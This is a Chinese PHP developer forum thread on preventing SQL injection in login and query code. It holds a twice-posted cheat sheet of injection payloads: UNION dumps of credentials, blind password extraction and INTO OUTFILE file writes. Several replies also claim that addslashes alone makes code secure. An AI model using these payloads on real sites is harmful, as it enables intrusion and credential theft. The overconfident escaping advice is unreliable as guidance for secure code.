cookie session 先不理会,只说get 与 post .楼上的说容易让语句出错,详细点.
Microsoft OLE DB Provider for SQL Server 错误 '80040e31' 超时已过期 /Expert/reply.asp,行 110 ------- 楼主无缘。抱歉。
就是说某些敏感字符 对 str_replace 函数也是出错的。
addslashes 加上后,并不能完全防范 sql 注入.不提别的方法,我只想知道这样写是否 还有注入的漏洞sql 语句如下 : "select * from admin where adminname='$_POST[name]' and adminpass='$_POST[pass]'"只要能指出漏洞,附例子,就给分.请不吝指教.
因为楼上的朋友观点不一,我总结一下自己的看法`~~ ' or 1=1 ' or '1=1 '/* '%23 ' and password='mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 union select 1,1,1 from user userid=1 and password=mypass userid=1 and mid(password,3,1)=char(112) userid=1 and mid(password,4,1)=char(97) and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) ' and LENGTH(password)='6(探测密码长度) ' and LEFT(password,1)='m ' and LEFT(password,2)='my ..............................依次类推 ' union select 1,username,password from user/* ' union select 1,username,password from user/* =' union select 1,username,password from user/* (可以是1或者=后直接跟) 99999' union select 1,username,password from user/* ' into outfile 'c:/file.txt (导出文件) =' or 1=1 into outfile 'c:/file.txt 1' union select 1,username,password from user into outfile 'c:/user.txt select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt' id=' union select 1,username,password from user into outfile id=-1 union select 1,database(),version() (灵活应用查询) 这些所谓的sql注入语句,都是用了quote ('), double quote ("), backslash (\) and NUL (the NULL byte). 而使数据库错误解析sql语句, 但是如果我用addslashes,就可以转义quote ('), double quote ("), backslash (\) and NUL (the NULL byte). 所以以上的sql注入语句都不能生效,最后只要在字符串加单引号就可以了,数字可加可不加单引号,以防万一我一般在数字使用前,用intval(),这样就安全啦~~~
select * from users where $user=$_POST[user] and $pass=$_POST[pass]select * from advice where id=$_GET[id] limite $_GET[nums],$GET[page]站点上有很多这样的东东,不知道网站上用的是字符型还是数字型。单个页面的过滤,我明白。问题是通用的过滤。
密码结合帐户查询之前md5加密即可避免该漏洞呵呵 select * from user where name='abc' and pwd='".md5($_POST["pwd"])."'这个怎攻破:)哈哈
-------
楼主无缘。抱歉。
"select * from admin where adminname='$_POST[name]' and adminpass='$_POST[pass]'"只要能指出漏洞,附例子,就给分.请不吝指教.
比如?
比如?
---------------------
比如<>符号呢?当对方提交的是HTML呢?
比如?
-------------------------------------------
比如 %23 char, 建议去看看,高级的入注教程.
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
..............................依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询) 这些所谓的sql注入语句,都是用了quote ('), double quote ("), backslash (\) and NUL (the NULL byte). 而使数据库错误解析sql语句, 但是如果我用addslashes,就可以转义quote ('), double quote ("), backslash (\) and NUL (the NULL byte). 所以以上的sql注入语句都不能生效,最后只要在字符串加单引号就可以了,数字可加可不加单引号,以防万一我一般在数字使用前,用intval(),这样就安全啦~~~
//test.php
<?
echo $_GET['num']; //运行test.php?num='时,输出\'
?>
不要依赖于服务器的设置
而且auto_quote是不建议使用的
SQL注入攻击之所以成功,是因为你的程序不加判断的将传入的传当成sql指令的一部分了只需简单的判断一下传入串的有效性就可以有效的防止了
--------------------------------------------------
回到正题,主要是一个站点上有N个文件,
之前都没有进行任何的注入 防范,不可能去查看其中的 $_POST , $_GET 用在哪,是数字型,还是字符串型.有没有用引号引起.只能整体的防范,所以才打算建一个文件,每个文件require 后,就没事了.
----------------------------------------------------------------
哪位高人,给一个通用的防范文件,或者有什么更好的方法.期待ing...
比如数字型加上INTVAL,其它方面大家有高招的话,请说出来分享一下。SQL注入在我看来是要很条件同时成立才可以用。。所以规范你的代码有时候也会有效防止注入的。
罪恶之源:用户提交过来的数据是可靠的。
用户可以伪造表单和URL提交他想提交的任何数据
如果你把他提交过来的数据变量直接联入sql语句就会造成注入
一般性的防范措施是:
所有sql语句必须用单引号,因为单引号内的字符串只有两个特殊,它自己和转义符,只要搞定这两个就ok了,而addslashes完全胜任
php.ini里magic_quotes_gpc默认是off的
有的是on的,这就需要在使用addslashes之前ini_get一下看这个设置是on还是off然后再决定是否用
mysql的sql语句的组成中一般只有整形和字符型,整形加上引号也不会出错,如果嫌麻烦就全加上引号,更安全一点就是inval()转化成整形。这样处理基本就没问题了,至于是否允许提交html代码看你要求了,不允许的话就用函数去掉<>更安全一点的遍历post,get,cookie,对他们的长度进行控制,addslashes,去除html(或转化成&),图片验证码,表单的http refferring、session_id判断,更高级的是表单过期判断(一般用某个常量和时间算出的hash,提交的时候再验证这个hash)。随着$_POST类变量的普及使用,php的安全性得到了很大提高,再注意一下单引号和addslashes,基本就是固若金汤了别告诉我'内还有其他特殊字符
几个经常会出漏洞的地方结合以往经验在这里说一下,
1 sql语句,如上
2 调用系统命令,system,exec,``等几个样式,一般用php内部提供的函数,如果实在没有也别用变量执行,最好用switch的方法执行。
3 include里面是变量,如果这个变量指向了/etc/passwd
4 生成文件名或内容是变量,而这变量有可能被浏览者定义
5 上传文件,如果人家上传了php文件咋办?
6
之前都没有进行任何的注入 防范,
不可能去查看其中的 $_POST , $_GET 用在哪,是数字型,还是字符串型.有没有用引号引起.
只能整体的防范,所以才打算建一个文件,每个文件require 后,就没事了.请教大家有什么高招没?
----------------------------------
这样是安全些,可是漏洞没法发现,也不会提高。就像某人的ecard系统一样,都V3.0 了还范最基本的错误,还以为没人知道。
数值型的参数么$var = (float) $var;就可以了字符型的么,用addslashes()就可以很简单的,不知道谁搞成现在这么复杂。
select * from user where name='abc' and pwd='".md5($_POST["pwd"])."'这个怎攻破:)哈哈